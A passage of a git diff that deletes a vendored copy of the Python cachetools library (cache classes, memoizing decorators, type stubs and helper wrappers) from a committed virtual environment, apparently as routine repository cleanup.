getsizeof) - self.__order = collections.OrderedDict() - - def __getitem__(self, key, cache_getitem=Cache.__getitem__): - value = cache_getitem(self, key) - if key in self: # __missing__ may not store item - self.__touch(key) - return value - - def __setitem__(self, key, value, cache_setitem=Cache.__setitem__): - cache_setitem(self, key, value) - self.__touch(key) - - def __delitem__(self, key, cache_delitem=Cache.__delitem__): - cache_delitem(self, key) - del self.__order[key] - - def popitem(self): - """Remove and return the `(key, value)` pair least recently used.""" - try: - key = next(iter(self.__order)) - except StopIteration: - raise KeyError("%s is empty" % type(self).__name__) from None - else: - return (key, self.pop(key)) - - def clear(self): - Cache.clear(self) - self.__order.clear() - - def __touch(self, key): - """Mark as recently used""" - try: - self.__order.move_to_end(key) - except KeyError: - self.__order[key] = None - - -class RRCache(Cache): - """Random Replacement (RR) cache implementation.""" - - def __init__(self, maxsize, choice=random.choice, getsizeof=None): - Cache.__init__(self, maxsize, getsizeof) - self.__choice = choice - self.__index = {} - self.__keys = [] - - @property - def choice(self): - """The `choice` function used by the cache.""" - return self.__choice - - def __setitem__(self, key, value, cache_setitem=Cache.__setitem__): - cache_setitem(self, key, value) - if key not in self.__index: - self.__index[key] = len(self.__keys) - self.__keys.append(key) - - def __delitem__(self, key, cache_delitem=Cache.__delitem__): - cache_delitem(self, key) - index = self.__index.pop(key) - if index != len(self.__keys) - 1: - last = self.__keys[-1] - self.__keys[index] = last - self.__index[last] = index - self.__keys.pop() - - def popitem(self): - """Remove and return a random `(key, value)` pair.""" - try: - key = self.__choice(self.__keys) - except IndexError: - raise KeyError("%s is empty" % type(self).__name__) from None - else: - return (key, self.pop(key)) - - def clear(self): - Cache.clear(self) - self.__index.clear() - del self.__keys[:] - - -class _TimedCache(Cache): - """Base class for time aware cache implementations.""" - - class _Timer: - def __init__(self, timer): - self.__timer = timer - self.__nesting = 0 - - def __call__(self): - if self.__nesting == 0: - return self.__timer() - else: - return self.__time - - def __enter__(self): - if self.__nesting == 0: - self.__time = time = self.__timer() - else: - time = self.__time - self.__nesting += 1 - return time - - def __exit__(self, *exc): - self.__nesting -= 1 - - def __reduce__(self): - return _TimedCache._Timer, (self.__timer,) - - def __getattr__(self, name): - return getattr(self.__timer, name) - - def __init__(self, maxsize, timer, getsizeof=None): - Cache.__init__(self, maxsize, getsizeof) - self.__timer = _TimedCache._Timer(timer) - - def __repr__(self, cache_repr=Cache.__repr__): - with self.__timer as time: - self.expire(time) - return cache_repr(self) - - def __len__(self, cache_len=Cache.__len__): - with self.__timer as time: - self.expire(time) - return cache_len(self) - - @property - def currsize(self): - with self.__timer as time: - self.expire(time) - return super().currsize - - @property - def timer(self): - """The timer function used by the cache.""" - return self.__timer - - def get(self, *args, **kwargs): - with self.__timer: - return Cache.get(self, *args, **kwargs) - - def pop(self, *args, **kwargs): - with self.__timer: - return Cache.pop(self, *args, **kwargs) - - def setdefault(self, *args, **kwargs): - with self.__timer: - return Cache.setdefault(self, *args, **kwargs) - - def clear(self): - # Subclasses must override to also reset their own time-tracking - # structures; we do not call expire() here since clear() should - # be O(1) regardless of cache contents. - Cache.clear(self) - - def expire(self, time=None): # pragma: no cover - raise NotImplementedError - - -class TTLCache(_TimedCache): - """LRU Cache implementation with per-item time-to-live (TTL) value.""" - - class _Link: - __slots__ = ("expires", "key", "next", "prev") - - def __init__(self, key=None, expires=None): - self.key = key - self.expires = expires - - def __reduce__(self): - return TTLCache._Link, (self.key, self.expires) - - def unlink(self): - next = self.next - prev = self.prev - prev.next = next - next.prev = prev - - def __init__(self, maxsize, ttl, timer=time.monotonic, getsizeof=None): - _TimedCache.__init__(self, maxsize, timer, getsizeof) - self.__root = root = TTLCache._Link() - root.prev = root.next = root - self.__links = collections.OrderedDict() - self.__ttl = ttl - - def __contains__(self, key): - try: - link = self.__links[key] # no reordering - except KeyError: - return False - else: - return self.timer() < link.expires - - def __getitem__(self, key, cache_getitem=Cache.__getitem__): - try: - link = self.__getlink(key) - except KeyError: - expired = False - else: - expired = not (self.timer() < link.expires) - if expired: - return self.__missing__(key) - else: - return cache_getitem(self, key) - - def __setitem__(self, key, value, cache_setitem=Cache.__setitem__): - with self.timer as time: - self.expire(time) - cache_setitem(self, key, value) - try: - link = self.__getlink(key) - except KeyError: - self.__links[key] = link = TTLCache._Link(key) - else: - link.unlink() - link.expires = time + self.__ttl - link.next = root = self.__root - link.prev = prev = root.prev - prev.next = root.prev = link - - def __delitem__(self, key, cache_delitem=Cache.__delitem__): - cache_delitem(self, key) - link = self.__links.pop(key) - link.unlink() - if not (self.timer() < link.expires): - raise KeyError(key) - - def __iter__(self): - root = self.__root - curr = root.next - while curr is not root: - # "freeze" time for iterator access - with self.timer as time: - if time < curr.expires: - yield curr.key - curr = curr.next - - def __setstate__(self, state): - self.__dict__.update(state) - root = self.__root - root.prev = root.next = root - for link in sorted(self.__links.values(), key=lambda obj: obj.expires): - link.next = root - link.prev = prev = root.prev - prev.next = root.prev = link - self.expire(self.timer()) - - @property - def ttl(self): - """The time-to-live value of the cache's items.""" - return self.__ttl - - def expire(self, time=None): - """Remove expired items from the cache and return an iterable of the - expired `(key, value)` pairs. - - """ - if time is None: - time = self.timer() - root = self.__root - curr = root.next - links = self.__links - expired = [] - cache_delitem = Cache.__delitem__ - cache_getitem = Cache.__getitem__ - while curr is not root and not (time < curr.expires): - expired.append((curr.key, cache_getitem(self, curr.key))) - cache_delitem(self, curr.key) - del links[curr.key] - next = curr.next - curr.unlink() - curr = next - return expired - - def popitem(self): - """Remove and return the `(key, value)` pair least recently used that - has not already expired. - - """ - with self.timer as time: - self.expire(time) - try: - key = next(iter(self.__links)) - except StopIteration: - raise KeyError("%s is empty" % type(self).__name__) from None - else: - return (key, self.pop(key)) - - def clear(self): - _TimedCache.clear(self) - root = self.__root - root.prev = root.next = root - self.__links.clear() - - def __getlink(self, key): - value = self.__links[key] - self.__links.move_to_end(key) - return value - - -class TLRUCache(_TimedCache): - """Time aware Least Recently Used (TLRU) cache implementation.""" - - __HEAP_CLEANUP_FACTOR = 2 # clean up the heap if size > N * len(items) - - @functools.total_ordering - class _Item: - __slots__ = ("expires", "key", "removed") - - def __init__(self, key=None, expires=None): - self.key = key - self.expires = expires - self.removed = False - - def __lt__(self, other): - return self.expires < other.expires - - def __init__(self, maxsize, ttu, timer=time.monotonic, getsizeof=None): - _TimedCache.__init__(self, maxsize, timer, getsizeof) - self.__items = collections.OrderedDict() - self.__order = [] - self.__ttu = ttu - - def __contains__(self, key): - try: - item = self.__items[key] # no reordering - except KeyError: - return False - else: - return self.timer() < item.expires - - def __getitem__(self, key, cache_getitem=Cache.__getitem__): - try: - item = self.__getitem(key) - except KeyError: - expired = False - else: - expired = not (self.timer() < item.expires) - if expired: - return self.__missing__(key) - else: - return cache_getitem(self, key) - - def __setitem__(self, key, value, cache_setitem=Cache.__setitem__): - with self.timer as time: - self.expire(time) - expires = self.__ttu(key, value, time) - if not (time < expires): - # updating an existing item with an already expired - # one should remove the existing item - return self.__delitem(key) - cache_setitem(self, key, value) - # removing an existing item would break the heap structure, so - # only mark it as removed for now - try: - self.__getitem(key).removed = True - except KeyError: - pass - self.__items[key] = item = TLRUCache._Item(key, expires) - heapq.heappush(self.__order, item) - - def __delitem__(self, key, cache_delitem=Cache.__delitem__): - with self.timer as time: - # no self.expire() for performance reasons, e.g. self.clear() [#67] - cache_delitem(self, key) - item = self.__items.pop(key) - item.removed = True - if not (time < item.expires): - raise KeyError(key) - - def __iter__(self): - for curr in self.__order: - # "freeze" time for iterator access - with self.timer as time: - if time < curr.expires and not curr.removed: - yield curr.key - - @property - def ttu(self): - """The local time-to-use function used by the cache.""" - return self.__ttu - - def expire(self, time=None): - """Remove expired items from the cache and return an iterable of the - expired `(key, value)` pairs. - - """ - if time is None: - time = self.timer() - items = self.__items - order = self.__order - # clean up the heap if too many items are marked as removed - if len(order) > len(items) * self.__HEAP_CLEANUP_FACTOR: - self.__order = order = [item for item in order if not item.removed] - heapq.heapify(order) - expired = [] - cache_delitem = Cache.__delitem__ - cache_getitem = Cache.__getitem__ - while order and (order[0].removed or not (time < order[0].expires)): - item = heapq.heappop(order) - if not item.removed: - expired.append((item.key, cache_getitem(self, item.key))) - cache_delitem(self, item.key) - del items[item.key] - return expired - - def popitem(self): - """Remove and return the `(key, value)` pair least recently used that - has not already expired. - - """ - with self.timer as time: - self.expire(time) - try: - key = next(iter(self.__items)) - except StopIteration: - raise KeyError("%s is empty" % type(self).__name__) from None - else: - return (key, self.pop(key)) - - def clear(self): - _TimedCache.clear(self) - self.__items.clear() - del self.__order[:] - - def __getitem(self, key): - value = self.__items[key] - self.__items.move_to_end(key) - return value - - def __delitem(self, key, cache_delitem=Cache.__delitem__): - try: - self.__items.pop(key).removed = True - except KeyError: - pass - else: - cache_delitem(self, key) - - -# note that the runtime __name__ is "CacheInfo", as in stdlib: -# https://github.com/python/cpython/blob/3.14/Lib/functools.py#L520 -_CacheInfo = collections.namedtuple( - "CacheInfo", ["hits", "misses", "maxsize", "currsize"] -) - - -def cached(cache, key=keys.hashkey, lock=None, condition=None, info=False): - """Decorator to wrap a function with a memoizing callable that saves - results in a cache. - - """ - from ._cached import _wrapper - - def decorator(func): - if info: - if isinstance(cache, Cache): - - def make_info(hits, misses): - return _CacheInfo(hits, misses, cache.maxsize, cache.currsize) - - elif isinstance(cache, collections.abc.Mapping): - - def make_info(hits, misses): - return _CacheInfo(hits, misses, None, len(cache)) - - else: - - def make_info(hits, misses): - return _CacheInfo(hits, misses, 0, 0) - - return _wrapper(func, cache, key, lock, condition, info=make_info) - else: - return _wrapper(func, cache, key, lock, condition) - - return decorator - - -def cachedmethod(cache, key=keys.methodkey, lock=None, condition=None, info=False): - """Decorator to wrap a method with a memoizing callable that saves - results in a cache. - - """ - from ._cachedmethod import _wrapper - - def decorator(method): - if info: - - def make_info(cache, hits, misses): - if isinstance(cache, Cache): - return _CacheInfo(hits, misses, cache.maxsize, cache.currsize) - elif isinstance(cache, collections.abc.Mapping): - return _CacheInfo(hits, misses, None, len(cache)) - else: - raise TypeError("cache(self) must return a mutable mapping") - - return _wrapper(method, cache, key, lock, condition, info=make_info) - else: - return _wrapper(method, cache, key, lock, condition) - - return decorator diff --git a/venv/Lib/site-packages/cachetools/__init__.pyi b/venv/Lib/site-packages/cachetools/__init__.pyi deleted file mode 100644 index c7b4d482bb2149344494b85eaf3f0a3d1fca97ed..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools/__init__.pyi +++ /dev/null @@ -1,245 +0,0 @@ -import random -from collections.abc import Callable, Iterator, MutableMapping, Sequence -from contextlib import AbstractContextManager -from typing import ( - Any, - Concatenate, - Final, - Generic, - Literal, - NamedTuple, - ParamSpec, - Protocol, - TypeVar, - overload, - type_check_only, -) - -__all__: Final = ( - "Cache", - "FIFOCache", - "LFUCache", - "LRUCache", - "RRCache", - "TLRUCache", - "TTLCache", - "cached", - "cachedmethod", -) -__version__: str - -_P = ParamSpec("_P") -_R = TypeVar("_R") -_T = TypeVar("_T") -_KT = TypeVar("_KT") -_VT = TypeVar("_VT") -_TT = TypeVar("_TT", default=float) -_KT2 = TypeVar("_KT2") -_VT2 = TypeVar("_VT2") - -class Cache(MutableMapping[_KT, _VT]): - def __init__( - self, maxsize: float, getsizeof: Callable[[_VT], float] | None = None - ) -> None: ... - def __getitem__(self, key: _KT) -> _VT: ... - def __setitem__(self, key: _KT, value: _VT) -> None: ... - def __delitem__(self, key: _KT) -> None: ... - def __missing__(self, key: _KT) -> _VT: ... - def __iter__(self) -> Iterator[_KT]: ... - def __len__(self) -> int: ... - @overload - def pop(self, key: _KT) -> _VT: ... - @overload - def pop(self, key: _KT, default: _VT | _T) -> _VT | _T: ... - def setdefault(self, key: _KT, default: _VT | None = None) -> _VT: ... - @property - def maxsize(self) -> float: ... - @property - def currsize(self) -> float: ... - @staticmethod - def getsizeof(value: _VT) -> float: ... - -class FIFOCache(Cache[_KT, _VT]): ... -class LFUCache(Cache[_KT, _VT]): ... -class LRUCache(Cache[_KT, _VT]): ... - -class RRCache(Cache[_KT, _VT]): - def __init__( - self, - maxsize: float, - choice: Callable[[Sequence[_KT]], _KT] = random.choice, - getsizeof: Callable[[_VT], float] | None = None, - ) -> None: ... - @property - def choice(self) -> Callable[[Sequence[_KT]], _KT]: ... - -class _TimedCache(Cache[_KT, _VT], Generic[_KT, _VT, _TT]): - def __init__( - self, - maxsize: float, - timer: Callable[[], _TT], - getsizeof: Callable[[_VT], float] | None = None, - ) -> None: ... - - class _Timer(AbstractContextManager[_T]): - def __init__(self, timer: Callable[[], _T]) -> None: ... - def __call__(self) -> _T: ... - def __enter__(self) -> _T: ... - def __exit__(self, *exc: object) -> None: ... - def __getattr__(self, name: str) -> Any: ... - - @property - def timer(self) -> _Timer[_TT]: ... - -class TTLCache(_TimedCache[_KT, _VT, _TT]): - @overload - def __init__( - self: TTLCache[_KT2, _VT2, float], - maxsize: float, - ttl: float, - *, - getsizeof: Callable[[_VT2], float] | None = None, - ) -> None: ... - @overload - def __init__( - self, - maxsize: float, - ttl: Any, # FIXME: must be "addable" to _TT - timer: Callable[[], _TT], - getsizeof: Callable[[_VT], float] | None = None, - ) -> None: ... - @property - def ttl(self) -> Any: ... - def expire(self, time: _TT | None = None) -> list[tuple[_KT, _VT]]: ... - -class TLRUCache(_TimedCache[_KT, _VT, _TT]): - @overload - def __init__( - self: TLRUCache[_KT2, _VT2, float], - maxsize: float, - ttu: Callable[[_KT2, _VT2, float], float], - *, - getsizeof: Callable[[_VT2], float] | None = None, - ) -> None: ... - @overload - def __init__( - self, - maxsize: float, - ttu: Callable[[_KT, _VT, _TT], _TT], - timer: Callable[[], _TT], - getsizeof: Callable[[_VT], float] | None = None, - ) -> None: ... - @property - def ttu(self) -> Callable[[_KT, _VT, _TT], _TT]: ... - def expire(self, time: _TT | None = None) -> list[tuple[_KT, _VT]]: ... - -class _CacheInfo(NamedTuple): - hits: int - misses: int - maxsize: float | None - currsize: float - -@type_check_only -class _AbstractCondition(AbstractContextManager[Any], Protocol): - # implementation and unit tests do not use plain wait() and notify() - def wait(self, timeout: float | None = None) -> bool: ... - def wait_for( - self, predicate: Callable[[], _T], timeout: float | None = None - ) -> _T: ... - def notify(self, n: int = 1) -> None: ... - def notify_all(self) -> None: ... - -@type_check_only -class _cached_wrapper(Generic[_P, _R]): - __wrapped__: Callable[_P, _R] - __name__: str - __doc__: str | None - cache: MutableMapping[Any, Any] | None - cache_key: Callable[..., Any] = ... - cache_lock: AbstractContextManager[Any] | None = None - cache_condition: _AbstractCondition | None = None - def __call__(self, /, *args: _P.args, **kwargs: _P.kwargs) -> _R: ... - def cache_clear(self) -> None: ... - -@type_check_only -class _cached_wrapper_info(_cached_wrapper[_P, _R]): - def cache_info(self) -> _CacheInfo: ... - -@overload -def cached( - cache: MutableMapping[_KT, Any] | None, - key: Callable[..., _KT] = ..., - lock: AbstractContextManager[Any] | None = None, - condition: _AbstractCondition | None = None, - info: Literal[False] = ..., -) -> Callable[[Callable[_P, _R]], _cached_wrapper[_P, _R]]: ... -@overload -def cached( - cache: MutableMapping[_KT, Any] | None, - key: Callable[..., _KT] = ..., - lock: AbstractContextManager[Any] | None = None, - condition: _AbstractCondition | None = None, - *, - info: Literal[True], -) -> Callable[[Callable[_P, _R]], _cached_wrapper_info[_P, _R]]: ... -@overload -def cached( - cache: MutableMapping[_KT, Any] | None, - key: Callable[..., _KT], - lock: AbstractContextManager[Any] | None, - condition: _AbstractCondition | None, - info: Literal[True], -) -> Callable[[Callable[_P, _R]], _cached_wrapper_info[_P, _R]]: ... - -@type_check_only -class _cachedmethod_wrapper(Generic[_P, _R]): - __wrapped__: Callable[Concatenate[Any, _P], _R] - __name__: str - __doc__: str | None - cache: MutableMapping[Any, Any] - cache_key: Callable[..., Any] = ... - cache_lock: AbstractContextManager[Any] | None = None - cache_condition: _AbstractCondition | None = None - def __set_name__(self, owner: type, name: str) -> None: ... - def __get__( - self, obj: Any, objtype: type | None = None - ) -> _cachedmethod_wrapper[_P, _R]: ... - def __call__(self, /, *args: _P.args, **kwargs: _P.kwargs) -> _R: ... - def cache_clear(self) -> None: ... - -@type_check_only -class _cachedmethod_wrapper_info(_cachedmethod_wrapper[_P, _R]): - def __get__( - self, obj: Any, objtype: type | None = None - ) -> _cachedmethod_wrapper_info[_P, _R]: ... - def cache_info(self) -> _CacheInfo: ... - -@overload -def cachedmethod( - cache: Callable[[Any], MutableMapping[_KT, Any]], - key: Callable[..., _KT] = ..., - lock: Callable[[Any], AbstractContextManager[Any]] | None = None, - condition: Callable[[Any], _AbstractCondition] | None = None, - info: Literal[False] = ..., -) -> Callable[[Callable[Concatenate[Any, _P], _R]], _cachedmethod_wrapper[_P, _R]]: ... -@overload -def cachedmethod( - cache: Callable[[Any], MutableMapping[_KT, Any]], - key: Callable[..., _KT] = ..., - lock: Callable[[Any], AbstractContextManager[Any]] | None = None, - condition: Callable[[Any], _AbstractCondition] | None = None, - *, - info: Literal[True], -) -> Callable[ - [Callable[Concatenate[Any, _P], _R]], _cachedmethod_wrapper_info[_P, _R] -]: ... -@overload -def cachedmethod( - cache: Callable[[Any], MutableMapping[_KT, Any]], - key: Callable[..., _KT], - lock: Callable[[Any], AbstractContextManager[Any]] | None, - condition: Callable[[Any], _AbstractCondition] | None, - info: Literal[True], -) -> Callable[ - [Callable[Concatenate[Any, _P], _R]], _cachedmethod_wrapper_info[_P, _R] -]: ... diff --git a/venv/Lib/site-packages/cachetools/_cached.py b/venv/Lib/site-packages/cachetools/_cached.py deleted file mode 100644 index 5b09d5ae6494348775c1e23d18a64c2b63b74b2c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools/_cached.py +++ /dev/null @@ -1,259 +0,0 @@ -"""Function decorator helpers.""" - -__all__ = () - -import functools - -# At least for now, the implementation prefers clarity and performance -# over ease of maintenance, thus providing separate wrappers for -# all valid combinations of decorator parameters lock, condition and -# info. - - -def _condition_info(func, cache, key, lock, cond, info): - hits = misses = 0 - pending = set() - - def wrapper(*args, **kwargs): - nonlocal hits, misses - k = key(*args, **kwargs) - with lock: - cond.wait_for(lambda: k not in pending) - try: - result = cache[k] - hits += 1 - return result - except KeyError: - pending.add(k) - misses += 1 - try: - v = func(*args, **kwargs) - with lock: - try: - cache[k] = v - except ValueError: - pass # value too large - return v - finally: - with lock: - pending.remove(k) - cond.notify_all() - - def cache_clear(): - nonlocal hits, misses - with lock: - cache.clear() - hits = misses = 0 - - def cache_info(): - with lock: - return info(hits, misses) - - wrapper.cache_clear = cache_clear - wrapper.cache_info = cache_info - return wrapper - - -def _locked_info(func, cache, key, lock, info): - hits = misses = 0 - - def wrapper(*args, **kwargs): - nonlocal hits, misses - k = key(*args, **kwargs) - with lock: - try: - result = cache[k] - hits += 1 - return result - except KeyError: - misses += 1 - v = func(*args, **kwargs) - with lock: - try: - # In case of a race condition, i.e. if another thread - # stored a value for this key while we were calling - # func(), prefer the cached value. - return cache.setdefault(k, v) - except ValueError: - return v # value too large - - def cache_clear(): - nonlocal hits, misses - with lock: - cache.clear() - hits = misses = 0 - - def cache_info(): - with lock: - return info(hits, misses) - - wrapper.cache_clear = cache_clear - wrapper.cache_info = cache_info - return wrapper - - -def _unlocked_info(func, cache, key, info): - hits = misses = 0 - - def wrapper(*args, **kwargs): - nonlocal hits, misses - k = key(*args, **kwargs) - try: - result = cache[k] - hits += 1 - return result - except KeyError: - misses += 1 - v = func(*args, **kwargs) - try: - cache[k] = v - except ValueError: - pass # value too large - return v - - def cache_clear(): - nonlocal hits, misses - cache.clear() - hits = misses = 0 - - def cache_info(): - return info(hits, misses) - - wrapper.cache_clear = cache_clear - wrapper.cache_info = cache_info - return wrapper - - -def _uncached_info(func, info): - misses = 0 - - def wrapper(*args, **kwargs): - nonlocal misses - misses += 1 - return func(*args, **kwargs) - - def cache_clear(): - nonlocal misses - misses = 0 - - wrapper.cache_clear = cache_clear - wrapper.cache_info = lambda: info(0, misses) - return wrapper - - -def _condition(func, cache, key, lock, cond): - pending = set() - - def wrapper(*args, **kwargs): - k = key(*args, **kwargs) - with lock: - cond.wait_for(lambda: k not in pending) - try: - result = cache[k] - return result - except KeyError: - pending.add(k) - try: - v = func(*args, **kwargs) - with lock: - try: - cache[k] = v - except ValueError: - pass # value too large - return v - finally: - with lock: - pending.remove(k) - cond.notify_all() - - def cache_clear(): - with lock: - cache.clear() - - wrapper.cache_clear = cache_clear - return wrapper - - -def _locked(func, cache, key, lock): - def wrapper(*args, **kwargs): - k = key(*args, **kwargs) - with lock: - try: - return cache[k] - except KeyError: - pass # key not found - v = func(*args, **kwargs) - with lock: - try: - # In case of a race condition, i.e. if another thread - # stored a value for this key while we were calling - # func(), prefer the cached value. - return cache.setdefault(k, v) - except ValueError: - return v # value too large - - def cache_clear(): - with lock: - cache.clear() - - wrapper.cache_clear = cache_clear - return wrapper - - -def _unlocked(func, cache, key): - def wrapper(*args, **kwargs): - k = key(*args, **kwargs) - try: - return cache[k] - except KeyError: - pass # key not found - v = func(*args, **kwargs) - try: - cache[k] = v - except ValueError: - pass # value too large - return v - - wrapper.cache_clear = lambda: cache.clear() - return wrapper - - -def _uncached(func): - def wrapper(*args, **kwargs): - return func(*args, **kwargs) - - wrapper.cache_clear = lambda: None - return wrapper - - -def _wrapper(func, cache, key, lock=None, cond=None, info=None): - if info is not None: - if cache is None: - wrapper = _uncached_info(func, info) - elif cond is not None and lock is not None: - wrapper = _condition_info(func, cache, key, lock, cond, info) - elif cond is not None: - wrapper = _condition_info(func, cache, key, cond, cond, info) - elif lock is not None: - wrapper = _locked_info(func, cache, key, lock, info) - else: - wrapper = _unlocked_info(func, cache, key, info) - else: - if cache is None: - wrapper = _uncached(func) - elif cond is not None and lock is not None: - wrapper = _condition(func, cache, key, lock, cond) - elif cond is not None: - wrapper = _condition(func, cache, key, cond, cond) - elif lock is not None: - wrapper = _locked(func, cache, key, lock) - else: - wrapper = _unlocked(func, cache, key) - wrapper.cache_info = None - - wrapper.cache = cache - wrapper.cache_key = key - wrapper.cache_lock = lock if lock is not None else cond - wrapper.cache_condition = cond - - return functools.update_wrapper(wrapper, func) diff --git a/venv/Lib/site-packages/cachetools/_cachedmethod.py b/venv/Lib/site-packages/cachetools/_cachedmethod.py deleted file mode 100644 index cf62cc989c32e9876d12f5021fa4e74c42f99840..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools/_cachedmethod.py +++ /dev/null @@ -1,421 +0,0 @@ -"""Method decorator helpers.""" - -__all__ = () - -import functools -import warnings -import weakref - - -def _warn_classmethod(stacklevel): - warnings.warn( - "decorating class methods with @cachedmethod is deprecated", - DeprecationWarning, - stacklevel=stacklevel, - ) - - -def _warn_instance_dict(msg, stacklevel): - warnings.warn( - msg, - DeprecationWarning, - stacklevel=stacklevel, - ) - - -def _none(_): - return None - - -class _WrapperBase: - """Wrapper base class providing default implementations for properties.""" - - def __init__(self, obj, method, cache, key, lock=None, cond=None): - if isinstance(obj, type): - _warn_classmethod(stacklevel=5) - functools.update_wrapper(self, method) - self._obj = obj # protected - self.__cache = cache - self.__key = functools.partial(key, obj) - self.__lock = lock if lock is not None else _none - self.__cond = cond if cond is not None else _none - - def __call__(self, *args, **kwargs): - raise NotImplementedError() # pragma: no cover - - def cache_clear(self): - raise NotImplementedError() # pragma: no cover - - @property - def cache(self): - return self.__cache(self._obj) - - @property - def cache_key(self): - return self.__key # self._obj passed via functools.partial - - @property - def cache_lock(self): - return self.__lock(self._obj) - - @property - def cache_condition(self): - return self.__cond(self._obj) - - -class _DescriptorBase: - """Descriptor base class implementing the basic descriptor protocol.""" - - def __init__(self, deprecated=False): - self.__attrname = None - self.__deprecated = deprecated - - def __set_name__(self, owner, name): - if self.__attrname is None: - self.__attrname = name - elif name != self.__attrname: - raise TypeError( - "Cannot assign the same @cachedmethod to two different names " - f"({self.__attrname!r} and {name!r})." - ) - - def __get__(self, obj, objtype=None): - wrapper = self.Wrapper(obj) # type: ignore - if obj is None: - # Return the wrapper itself without modification when accessed - # through the class to support class-level introspection, such - # as for mocking with autospec=True in unittest.mock. - pass - elif self.__attrname is not None: - # replace descriptor instance with wrapper in instance dict - try: - # In case of a race condition where another thread already replaced - # the descriptor, prefer the initial wrapper. - wrapper = obj.__dict__.setdefault(self.__attrname, wrapper) - except AttributeError: - # not all objects have __dict__ (e.g. class defines slots) - msg = ( - f"No '__dict__' attribute on {type(obj).__name__!r} " - f"instance to cache {self.__attrname!r} property." - ) - if self.__deprecated: - _warn_instance_dict(msg, 3) - else: - raise TypeError(msg) from None - except TypeError: - msg = ( - f"The '__dict__' attribute on {type(obj).__name__!r} " - f"instance does not support item assignment for " - f"caching {self.__attrname!r} property." - ) - if self.__deprecated: - _warn_instance_dict(msg, 3) - else: - raise TypeError(msg) from None - elif self.__deprecated: - pass # deprecated @classmethod, warning already raised elsewhere - else: - msg = "Cannot use @cachedmethod instance without calling __set_name__ on it" - raise TypeError(msg) from None - return wrapper - - -class _DeprecatedDescriptorBase(_DescriptorBase): - """Descriptor base class supporting deprecated @classmethod use.""" - - def __init__(self, wrapper, cache_clear): - super().__init__(deprecated=True) - self.__wrapper = wrapper - self.__cache_clear = cache_clear - - # called for @classmethod with Python >= 3.13 - def __call__(self, *args, **kwargs): - _warn_classmethod(stacklevel=3) - return self.__wrapper(*args, **kwargs) - - # backward-compatible @classmethod handling with Python >= 3.13 - def cache_clear(self, objtype): - _warn_classmethod(stacklevel=3) - return self.__cache_clear(objtype) - - -# At least for now, the implementation prefers clarity and performance -# over ease of maintenance, thus providing separate descriptors for -# all valid combinations of decorator parameters lock, condition and -# info. - - -def _condition_info(method, cache, key, lock, cond, info): - class Descriptor(_DescriptorBase): - class Wrapper(_WrapperBase): - def __init__(self, obj): - super().__init__(obj, method, cache, key, lock, cond) - self.__hits = self.__misses = 0 - self.__pending = set() - - def __call__(self, *args, **kwargs): - cache = self.cache - lock = self.cache_lock - cond = self.cache_condition - key = self.cache_key(*args, **kwargs) - - with lock: - cond.wait_for(lambda: key not in self.__pending) - try: - result = cache[key] - self.__hits += 1 - return result - except KeyError: - self.__pending.add(key) - self.__misses += 1 - try: - val = method(self._obj, *args, **kwargs) - with lock: - try: - cache[key] = val - except ValueError: - pass # value too large - return val - finally: - with lock: - self.__pending.remove(key) - cond.notify_all() - - def cache_clear(self): - with self.cache_lock: - self.cache.clear() - self.__hits = self.__misses = 0 - - def cache_info(self): - with self.cache_lock: - return info(self.cache, self.__hits, self.__misses) - - return Descriptor() - - -def _locked_info(method, cache, key, lock, info): - class Descriptor(_DescriptorBase): - class Wrapper(_WrapperBase): - def __init__(self, obj): - super().__init__(obj, method, cache, key, lock) - self.__hits = self.__misses = 0 - - def __call__(self, *args, **kwargs): - cache = self.cache - lock = self.cache_lock - key = self.cache_key(*args, **kwargs) - with lock: - try: - result = cache[key] - self.__hits += 1 - return result - except KeyError: - self.__misses += 1 - val = method(self._obj, *args, **kwargs) - with lock: - try: - # In case of a race condition, i.e. if another thread - # stored a value for this key while we were calling - # method(), prefer the cached value. - return cache.setdefault(key, val) - except ValueError: - return val # value too large - - def cache_clear(self): - with self.cache_lock: - self.cache.clear() - self.__hits = self.__misses = 0 - - def cache_info(self): - with self.cache_lock: - return info(self.cache, self.__hits, self.__misses) - - return Descriptor() - - -def _unlocked_info(method, cache, key, info): - class Descriptor(_DescriptorBase): - class Wrapper(_WrapperBase): - def __init__(self, obj): - super().__init__(obj, method, cache, key) - self.__hits = self.__misses = 0 - - def __call__(self, *args, **kwargs): - cache = self.cache - key = self.cache_key(*args, **kwargs) - try: - result = cache[key] - self.__hits += 1 - return result - except KeyError: - self.__misses += 1 - val = method(self._obj, *args, **kwargs) - try: - cache[key] = val - except ValueError: - pass # value too large - return val - - def cache_clear(self): - self.cache.clear() - self.__hits = self.__misses = 0 - - def cache_info(self): - return info(self.cache, self.__hits, self.__misses) - - return Descriptor() - - -def _condition(method, cache, key, lock, cond): - # backward-compatible weakref dictionary for Python >= 3.13 - pending = weakref.WeakKeyDictionary() - - def wrapper(self, pending, *args, **kwargs): - c = cache(self) - k = key(self, *args, **kwargs) - with lock(self): - cond(self).wait_for(lambda: k not in pending) - try: - return c[k] - except KeyError: - pending.add(k) - try: - v = method(self, *args, **kwargs) - with lock(self): - try: - c[k] = v - except ValueError: - pass # value too large - return v - finally: - with lock(self): - pending.remove(k) - cond(self).notify_all() - - def cache_clear(self): - c = cache(self) - with lock(self): - c.clear() - - def classmethod_wrapper(self, *args, **kwargs): - p = pending.setdefault(self, set()) - return wrapper(self, p, *args, **kwargs) - - class Descriptor(_DeprecatedDescriptorBase): - class Wrapper(_WrapperBase): - def __init__(self, obj): - super().__init__(obj, method, cache, key, lock, cond) - self.__pending = set() - - def __call__(self, *args, **kwargs): - return wrapper(self._obj, self.__pending, *args, **kwargs) - - # objtype: backward-compatible @classmethod handling with Python < 3.13 - def cache_clear(self, _objtype=None): - return cache_clear(self._obj) - - return Descriptor(classmethod_wrapper, cache_clear) - - -def _locked(method, cache, key, lock): - def wrapper(self, *args, **kwargs): - c = cache(self) - k = key(self, *args, **kwargs) - with lock(self): - try: - return c[k] - except KeyError: - pass # key not found - v = method(self, *args, **kwargs) - with lock(self): - try: - # In case of a race condition, i.e. if another thread - # stored a value for this key while we were calling - # method(), prefer the cached value. - return c.setdefault(k, v) - except ValueError: - return v # value too large - - def cache_clear(self): - c = cache(self) - with lock(self): - c.clear() - - class Descriptor(_DeprecatedDescriptorBase): - class Wrapper(_WrapperBase): - def __init__(self, obj): - super().__init__(obj, method, cache, key, lock) - - def __call__(self, *args, **kwargs): - return wrapper(self._obj, *args, **kwargs) - - # objtype: backward-compatible @classmethod handling with 